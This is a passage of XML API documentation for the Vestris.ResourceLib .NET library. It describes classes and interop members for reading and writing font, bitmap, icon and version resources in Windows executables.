<member name=\"M:Vestris.ResourceLib.FontDirectoryResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font directory to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontResource\">\n            <summary>\n            A font, RT_FONT resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.#ctor\">\n            <summary>\n            A new font resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing font resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the font resource.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the font structure.</param>\n            <returns>Address of the end of the font structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font resource to a binary writer.\n            </summary>\n            <param name=\"w\">Binary writer.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32\">\n            <summary>\n            Gdi32.dll interop functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BitmapCompression\">\n            <summary>\n            Bitmap compression options.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RGB\">\n            <summary>\n            An uncompressed format. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RLE8\">\n            <summary>\n            A run-length encoded (RLE) format for bitmaps with 8 bpp. The compression format is a 2-byte format consisting of a count byte followed by a byte containing a color index. For more information, see Bitmap Compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RLE4\">\n            <summary>\n            An RLE format for bitmaps with 4 bpp. The compression format is a 2-byte format consisting of a count byte followed by two word-length color indexes. For more information, see Bitmap Compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_BITFIELDS\">\n            <summary>\n            Specifies that the bitmap is not compressed and that the color table consists of three DWORD color masks that specify the red, green, and blue components, respectively, of each pixel. This is valid when used with 16- and 32-bpp bitmaps.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_JPEG\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Indicates that the image is a JPEG image.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_PNG\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Indicates that the image is a PNG image.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER\">\n            <summary>\n            A bitmap info header.\n            See http://msdn.microsoft.com/en-us/library/ms532290.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biSize\">\n            <summary>\n            Bitmap information size.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biWidth\">\n            <summary>\n            Bitmap width.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biHeight\">\n            <summary>\n            Bitmap height.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biPlanes\">\n            <summary>\n            Number of logical planes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biBitCount\">\n            <summary>\n            Bitmap bitrate.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biCompression\">\n            <summary>\n            Bitmap compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biSizeImage\">\n            <summary>\n            Image size.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biXPelsPerMeter\">\n            <summary>\n            Horizontal pixel resolution.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biYPelsPerMeter\">\n            <summary>\n            Vertical pixel resolution.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biClrUsed\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biClrImportant\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.BitmapCompression\">\n            <summary>\n            Returns the current bitmap compression.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.PixelFormat\">\n            <summary>\n            Bitmap pixel format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.PixelFormatString\">\n            <summary>\n            Bitmap pixel format English standard string.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPINFO\">\n            <summary>\n            Defines the dimensions and color information of a Windows-based device-independent bitmap (DIB). \n            http://msdn.microsoft.com/en-us/library/dd183375(VS.85).aspx.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFO.bmiHeader\">\n            <summary>\n            Specifies a bitmap information header structure that contains information about the dimensions of color format.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFO.bmiColors\">\n            <summary>\n            An array of RGBQUAD. The elements of the array make up the color table.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.RGBQUAD\">\n            <summary>\n            Store colors in a paletised icon (2, 4 or 8 bit).\n            http://msdn.microsoft.com/en-us/library/ms997538.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbBlue\">\n            <summary>\n            Blue.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbGreen\">\n            <summary>\n            Green.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbRed\">\n            <summary>\n            Red.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER\">\n            <summary>\n            The BITMAPFILEHEADER structure contains information about the type, size, and layout of a file that contains a DIB.\n            http://msdn.microsoft.com/en-us/library/dd183374(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfType\">\n            <summary>\n            The file type; must be BM.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfSize\">\n            <summary>\n            The size, in bytes, of the bitmap file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfReserved1\">\n            <summary>\n            Reserved; must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfReserved2\">\n            <summary>\n            Reserved; must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfOffBits\">\n            <summary>\n            The offset, in bytes, from the beginning of the BITMAPFILEHEADER structure to the bitmap bits.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SetDIBitsToDevice(System.IntPtr,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Byte[],Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32)\">\n            <summary>\n            Set the pixels in the specified rectangle on the device that is associated with the destination device \n            context using color data from a DIB, JPEG, or PNG image.\n            http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"XDest\">The x-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"YDest\">The y-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"dwWidth\">The width, in logical units, of the image.</param>\n            <param name=\"dwHeight\">The height, in logical units, of the image.</param>\n            <param name=\"XSrc\">The x-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"YSrc\">The y-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"uStartScan\">The starting scan line in the image.</param>\n            <param name=\"cScanLines\">The number of DIB scan lines contained in the array pointed to by the lpvBits parameter.</param>\n            <param name=\"lpvBits\">A pointer to the color data stored as an array of bytes.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFOHEADER structure that contains information about the DIB.</param>\n            <param name=\"fuColorUse\">Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette.</param>\n            <returns>\n            If the function succeeds, the return value is the number of scan lines set.\n            If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero.\n            If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SetDIBitsToDevice(System.IntPtr,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Int32,System.Int32,System.UInt32,System.UInt32,System.IntPtr,System.IntPtr,System.UInt32)\">\n            <summary>\n            Set the pixels in the specified rectangle on the device that is associated with the destination device \n            context using color data from a DIB, JPEG, or PNG image.\n            http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"XDest\">The x-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"YDest\">The y-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"dwWidth\">The width, in logical units, of the image.</param>\n            <param name=\"dwHeight\">The height, in logical units, of the image.</param>\n            <param name=\"XSrc\">The x-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"YSrc\">The y-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"uStartScan\">The starting scan line in the image.</param>\n            <param name=\"cScanLines\">The number of DIB scan lines contained in the array pointed to by the lpvBits parameter.</param>\n            <param name=\"lpvBits\">A pointer to the color data stored as an array of bytes.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFOHEADER structure that contains information about the DIB.</param>\n            <param name=\"fuColorUse\">Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette.</param>\n            <returns>\n            If the function succeeds, the return value is the number of scan lines set.\n            If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero.\n            If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.GetDIBits(System.IntPtr,System.IntPtr,System.UInt32,System.UInt32,System.Byte[],Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32)\">\n            <summary>\n            Retrieves the bits of the specified compatible bitmap and copies them into a buffer as \n            a DIB using the specified format\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"hbmp\">A handle to the bitmap. This must be a compatible bitmap (DDB).</param>\n            <param name=\"uStartScan\">The first scan line to retrieve.</param>\n            <param name=\"cScanLines\">The number of scan lines to retrieve.</param>\n            <param name=\"lpvBits\">A pointer to a buffer to receive the bitmap data.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFO structure that specifies the desired format for the DIB data.</param>\n            <param name=\"uUsage\">The format of the bmiColors member of the BITMAPINFO structure.</param>\n            <returns>\n            If the lpvBits parameter is non-NULL and the function succeeds, the return value is the number of scan lines copied from the bitmap.\n            If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is non-zero.\n            If the function fails, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateDIBSection(System.IntPtr,Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32,System.IntPtr@,System.IntPtr,System.UInt32)\">\n            <summary>\n            Create a DIB that applications can write to directly. The function gives you a pointer to the location \n            of the bitmap bit values. You can supply a handle to a file-mapping object that the function will use \n            to create the bitmap, or you can let the system allocate the memory for the bitmap.\n            </summary>\n            <param name=\"hdc\">Handle to a device context.</param>\n            <param name=\"pbmi\">A pointer to a BITMAPINFO structure that specifies various attributes of the DIB, including the bitmap dimensions and colors.</param>\n            <param name=\"iUsage\">The type of data contained in the bmiColors array member of the BITMAPINFO structure pointed to by pbmi (either logical palette indexes or literal RGB values).</param>\n            <param name=\"ppvBits\">A pointer to a variable that receives a pointer to the location of the DIB bit values.</param>\n            <param name=\"hSection\">A handle to a file-mapping object that the function will use to create the DIB. This parameter can be NULL.</param>\n            <param name=\"dwOffset\">The offset from the beginning of the file-mapping object referenced by hSection where storage for the bitmap bit values is to begin.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the newly created DIB, and *ppvBits points to the bitmap bit values.\n            If the function fails, the return value is NULL, and *ppvBits is NULL.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.DIBColors\">\n            <summary>\n            Defines how to interpret the values in the color table of a DIB.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_RGB_COLORS\">\n            <summary>\n            The color table contains literal RGB values.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_COLORS\">\n            <summary>\n            The color table consists of an array of 16-bit indexes into the LogPalette \n            object that is currently defined in the playback device context.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_INDICES\">\n            <summary>\n            No color table exists. The pixels in the DIB are indices into the current logical \n            palette in the playback device context.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_LOGINDICES\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateCompatibleDC(System.IntPtr)\">\n            <summary>\n            Creates a memory device context (DC) compatible with the specified device.\n            </summary>\n            <param name=\"hdc\">Handle to an existing device context.</param>\n            <returns>\n            The handle to a memory device context indicates success.\n            NULL indicates failure.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateDC(System.String,System.String,System.String,System.IntPtr)\">\n            <summary>\n            \n            </summary>\n            <param name=\"lpDriverName\">Specifies either DISPLAY or the name of a specific display device or the name of a print provider, which is usually WINSPOOL.</param>\n            <param name=\"lpDeviceName\">Specifies the name of the specific output device being used, as shown by the Print Manager (for example, Epson FX-80).</param>\n            <param name=\"lpOutput\">This parameter is ignored and should be set to NULL. It is provided only for compatibility with 16-bit Windows.</param>\n            <param name=\"lpInitData\">A pointer to a DEVMODE structure containing device-specific initialization data for the device driver.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateCompatibleBitmap(System.IntPtr,System.Int32,System.Int32)\">\n            <summary>\n            Creates a bitmap compatible with the device that is associated with the specified device context.\n            </summary>\n            <param name=\"hdc\">A handle to a device context.</param>\n            <param name=\"nWidth\">The bitmap width, in pixels.</param>\n            <param name=\"nHeight\">The bitmap height, in pixels.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the compatible bitmap (DDB).\n            If the function fails, the return value is NULL.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SelectObject(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Selects an object into a specified device context. The new object replaces the previous object of the same type. \n            </summary>\n            <param name=\"hdc\">Handle to the device context.</param>\n            <param name=\"hgdiobj\">Handle to the object to be selected.</param>\n            <returns>\n            If the selected object is not a region, the handle of the object being replaced indicates success. \n            If the selected object is a region, one of the following values indicates success. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.DeleteObject(System.IntPtr)\">\n            <summary>\n            Deletes a logical pen, brush, font, bitmap, region, or palette, freeing all system resources associated with the object. \n            </summary>\n            <param name=\"hObject\">Handle to a logical pen, brush, font, bitmap, region, or palette.</param>\n            <returns>\n            Nonzero indicates success. \n            Zero indicates that the specified handle is not valid or that the handle is currently selected into a device context.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.DeleteDC(System.IntPtr)\">\n            <summary>\n            Deletes the specified device context.\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <returns>\n            If the function succeeds, the return value is nonzero.\n            If the function fails, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.GenericResource\">\n            <summary>\n            A generic resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.GenericResource._data\">\n            <summary>\n            Raw resource data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.GenericResource.Data\">\n            <summary>\n            Raw resource data.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An unstructured generic resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.#ctor(Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            A generic resource.\n            </summary>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"language\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a generic resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconDirectoryResource\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor\">\n            <summary>\n            A new hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor(Vestris.ResourceLib.IconFile)\">\n            <summary>\n            A new collection of icons that can be embedded into an executable file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFile\">\n            <summary>\n            This structure depicts the organization of data in a .ico file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFile.GroupType\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconFile.GroupType.Icon\">\n            <summary>\n            Icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconFile.GroupType.Cursor\">\n            <summary>\n            Cursor.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFile.Type\">\n            <summary>\n            Type of the group icon resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFile.Icons\">\n            <summary>\n            Collection of icons in an .ico file.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.#ctor(System.String)\">\n            <summary>\n            An existing .ico file.\n            </summary>\n            <param name=\"filename\">An existing icon (.ico) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.LoadFrom(System.String)\">\n            <summary>\n            Load from a .ico file.\n            </summary>\n            <param name=\"filename\">An existing icon (.ico) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.Read(System.IntPtr)\">\n            <summary>\n            Read icons.\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of a FILEGRPICONDIR structure.</param>\n            <returns>Pointer to the end of a FILEGRPICONDIR structure.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFileIcon\">\n            <summary>\n            This structure depicts the organization of icon data in a .ico file.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Header\">\n            <summary>\n            Icon header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Image\">\n            <summary>\n            Icon bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.#ctor\">\n            <summary>\n            New icon data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Width\">\n            <summary>\n            Icon width.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Height\">\n            <summary>\n            Icon height.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.ImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a single icon (.ico).\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of this icon's data.</param>\n            <param name=\"lpAllData\">Pointer to the beginning of all icon data.</param>\n            <returns>Pointer to the end of this icon's data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.ToString\">\n            <summary>\n            Icon size as a string.\n            </summary>\n            <returns>Icon size in the width x height format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconImageResource\">\n            <summary>\n            This structure depicts the organization of data in an icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconImageResource._header\">\n            <summary>\n            Directory header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconImageResource._image\">\n            <summary>\n            Actual image.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Header\">\n            <summary>\n            Hardware-independent icon directory header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Id\">\n            <summary>\n            Embedded icon Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Image\">\n            <summary>\n            An icon image.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(Vestris.ResourceLib.ResourceId)\">\n            <summary>\n            A new icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Create a new icon image resource from a file icon.\n            </summary>\n            <param name=\"icon\">File icon.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource id.</param>\n            <param name=\"language\">Resource language.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Width\">\n            <summary>\n            Icon width in pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Height\">\n            <summary>\n            Icon height in pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.ImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read an icon resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to a directory entry in the hardware-independent icon resource.</param>\n            <returns>Pointer to the end of the icon resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.ReadImage(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read the bitmap image.\n            </summary>\n            <param name=\"dibBits\">DIB bits.</param>\n            <param name=\"size\">Size of image.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.PixelFormat\">\n            <summary>\n            Icon pixel format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.PixelFormatString\">\n            <summary>\n            Icon pixel format English standard string.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.ToString\">\n            <summary>\n            String representation of the icon.\n            </summary>\n            <returns>A string in a format of width x height followed by the pixel format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write icon resource data to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.SaveIconTo(System.String)\">\n            <summary>\n            Save icon to a file.\n            </summary>\n            <param name=\"filename\">Target executable file.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconResource\">\n            <summary>\n            This structure depicts the organization of data in an icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor\">\n            <summary>\n            A new icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Convert into an icon resource that can be written into an executable.\n            </summary>\n            <param name=\"icon\">Icon image.</param>\n            <param name=\"id\">Icon Id.</param>\n            <param name=\"language\">Resource language.</param>\n            <returns>An icon resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32\">\n            <summary>\n            Kernel32.dll interop functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER\">\n            <summary>\n            A resource header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wLength\">\n            <summary>\n            Header length.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wValueLength\">\n            <summary>\n            Data length.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wType\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.#ctor(System.UInt16)\">\n            <summary>\n            A new resource header of a given length.\n            </summary>\n            <param name=\"valueLength\"></param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE\">\n            <summary>\n            Resource header type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE.BinaryData\">\n            <summary>\n            Binary data.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE.StringData\">\n            <summary>\n            String data.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.VAR_HEADER\">\n            <summary>\n            Language and code page combinations.\n            The low-order word of each DWORD must contain a Microsoft language 